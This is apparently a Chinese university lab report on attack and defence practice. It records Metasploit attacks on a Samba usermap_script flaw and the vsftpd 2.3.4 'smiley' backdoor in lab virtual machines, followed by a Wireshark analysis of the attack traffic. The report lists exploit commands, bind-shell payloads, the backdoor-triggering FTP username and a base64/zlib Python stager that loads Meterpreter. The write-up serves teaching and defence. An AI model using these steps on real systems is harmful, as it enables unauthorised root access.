20251909-2025-2026-2 《网络攻防实践》实践七
1.实践内容
任务要求
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
实验原理
1.usermap_script 是 Samba 服务存在的无认证远程命令执行漏洞(CVE-2007-2447),漏洞成因是服务对匿名登录的用户名参数未做任何特殊字符过滤,直接拼接至系统 Shell 命令中执行,攻击者可通过构造包含 Shell 分隔符的注入载荷用户名,在无需账号密码认证的前提下,直接在靶机后台执行系统命令,获取靶机最高 Root 权限,危害等级极高
2.CVE-2011-2523 “笑脸漏洞”的核心原理:
是在vsFTPd 2.3.4版本的源代码中被故意植入了一个隐蔽的后门函数。攻击者通过在FTP登录时输入包含特定“笑脸”字符 : ) 的用户名,即可触发该后门,绕过所有认证,直接获取一个以root权限运行的远程Shell
2.实践过程
2.1 实验msfconsole进行linux渗透攻击
实验环境:
| 主机名称 | IP 地址 |
|---|---|
| swl(Kali) | 172.22.42.20 |
| Metasploit_ubuntu | 172.22.42.21 |
1.启动metasploit

2.通过命令use 8 exploit/multi/samba/usermap_script来使用Linux靶机上Samba服务的usermap_script漏洞。

3、通过命令show payloads来显示usermap_script漏洞可用的载荷

4、通过命令来选择载荷set payload cmd/unix/bind_netcat,成功后会设置为cmd/unix/bind_netcat
5、配置渗透攻击参数,单一目标靶机rhost设置为172.22.42.21(ubuntu靶机地址)

6、键入exploit开始攻击

7、拿到shell以后输入whoami查看当前权限等级,发现我们已经获取到了root权限,再通过命令ipconfig来查看是否正确得到远程Shell。此时可以看到攻击机已经远程连接到靶机,显示的是靶机的ip地址

2.2 攻击方:使用Metasploit,选择靶机中的vsftpd后门漏洞进行渗透攻击
- 攻击方:施为乐
实验环境
| 主机名称 | IP 地址 |
|---|---|
| swl(Kali) | 172.22.42.20 |
| Metasploit_Linux | 172.22.42.22 |
CVE-2011-2523(俗称“笑脸漏洞”)是2011年在vsFTPd(Very Secure FTP Daemon)服务器软件2.3.4版本中发现的恶意后门程序。当攻击者***通过FTP登录***时,在用户名中插入一个符号(如 :)),就会触发该后门,导致服务器开启一个6200端口的后门,从而获得完整的系统最高权限(root权限)。
通过nmap扫描靶机上运行的端口和服务我们发现vsftpd(FTP服务器软件)占用了21端口。故可以作为该漏洞的利用目标。(老师提供的ubuntu主机不存在上述漏洞,可通过https://www.rapid7.com/products/metasploit/metasploitable/ 下载该型号靶机进行实验)

1.通过命令search vsftpd来搜索漏洞

2.通过命令use 0来使用vsftpd后门漏洞并且通过命令show payloads来显示可用的载荷,查看到只有一个可用载荷

3.通过命令set payload payload/cmd/unix/interact来设置这个载荷

4.设置rhost为172.22.42.22,键入exploit开始进行渗透

如下图,成功拿到shell

5.调用ifconfig查看是否ip地址信息,可以校验获得的权限即为ubuntu靶机

6.进行系列操作:
我们键入ls查看当前目录下存在的文件,并用touch创建名为swl666.txt的文件夹,whoami命令查询当前用户类别,显示为root根用户!

至此攻击流程完毕!
- 防守方:王熙
调用wireshark查看攻击者渗透测试的流量条目。分析图中tcp三次握手流程(7-9)可知:攻击机ip:172.22.42.20 靶机ip:172.22.42.22


本tcp三次握手流程如下:攻击者利用34571端口对靶机21ftp服务端口进行连接。
| 握手阶段 | Wireshark 报文序号 | 源 IP → 目的 IP | TCP 报文标志位 | Seq 序列号 | Ack 确认号 | Win 窗口大小 | MSS 最大分段大小 | 报文含义(vsftpd 漏洞渗透场景) |
|---|---|---|---|---|---|---|---|---|
| 第一次握手 | 7 | 172.22.42.20(攻击机)→ 172.22.42.22(靶机) | [SYN] | Seq=0 | 无 | 64240 | 1460 | 攻击机向靶机 FTP 服务发起连接建立请求,同步自身初始序列号,申请搭建 TCP 传输链路,为后续 FTP做基础 |
| 第二次握手 | 8 | 172.22.42.22(靶机)→ 172.22.42.20(攻击机) | [SYN, ACK] | Seq=0 | Ack=1 | 5792 | 1460 | 靶机 FTP 服务响应连接:确认收到攻击机的 SYN 请求,同步自身初始序列号,协商本次传输的窗口、分段参数 |
| 第三次握手 | 9 | 172.22.42.20(攻击机)→ 172.22.42.22(靶机) | [ACK] | Seq=1 | Ack=1 | 64256 | 无 | 攻击机完成最终确认应答,TCP 三次握手全程完成,;后续开始传输 FTP 明文指令、发送:)载荷触发后门 |
过滤ftp流量,打开一个FTP数据包追踪可以看到:攻击机发送携带漏洞触发密钥 ”: )' 的登录用户名 USER QRgwq:),FTP服务器开启一个后门,允许该用户进行任何操作

选中ftp流量,目的是查看攻击者利用该协议上传的参数:

选中上图流量条目点击follow追踪tcp数据流,分析下图:
我们得知,在拿到初始 Shell 后,msf自动批量执行的靶机系统探测代码,用来适配靶机环境稳定 Shell 环境,为后续后门常驻做准备。
它全程用 echo 唯一随机魔数; 检测指令; echo 同一个魔数的固定模板:
前后一模一样的长随机字符串 = 指令边界标记,比如:arelONUJTBNfmFMJKoKCdAhWpSkfLsxNKA用来划分指令起止、来探测靶机上存在的环境。
大红框下方回显 /bin/bash + true:靶机确认 bash 环境可用,即我们后续所有的操作例如whoami指令等均可进行。

此外,由图中我们还可以看到攻击者调用:
/usr/bin/python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('超长加密串'))))"通过靶机自带的 Python 环境执行无文件内存加载操作,先对 Base64 编码的后门载荷进行解码,再通过 zlib 解压还原出 Meterpreter 后门程序,最终使用 exec 函数在系统内存中直接执行后门代码,把 vsftpd 漏洞带来的临时一次性后门,升级成功能完整的 Metasploit 高级会话,支持后续渗透操作。
最后可以看到攻击者创建了swl666.txt文件,简单查看了目录下的所有文件项。并用whoami查看了他获取的用户权限。
3.学习中遇到的问题及解决
-
问题1:实验一 开始攻击后长时间未加载出shell
-
问题1解决方案:键入shell后回车即可加载
-
问题2:攻防对抗时候无法成功渗透!
metasploit的攻击是针对特定版本的vsftpd,提供的metasploite_ubuntu虚拟机使用的是proFTPD 1.3.1 server,尽管metasplit尝试了攻击,发送了包含:)的用户名,但是无法获得会话。所以重装使用的metasploite_ubuntu靶机 -
问题2解决方案:下载其它版本进行实验
图一是教学提供的ubuntu版本,图二为上文连接中提到的版本
![image]()
![image]()
4.实践总结
经过这两次的实验 熟练地掌握了msfconsole工具的运用,然而,愈发感觉要成为一名真正的熟练网安技术的工作者,仅仅当一名代码小子是不可行的,我们要了解漏洞的运行机理,payload的构造方式等,做到知其所以然!!


浙公网安备 33010602011771号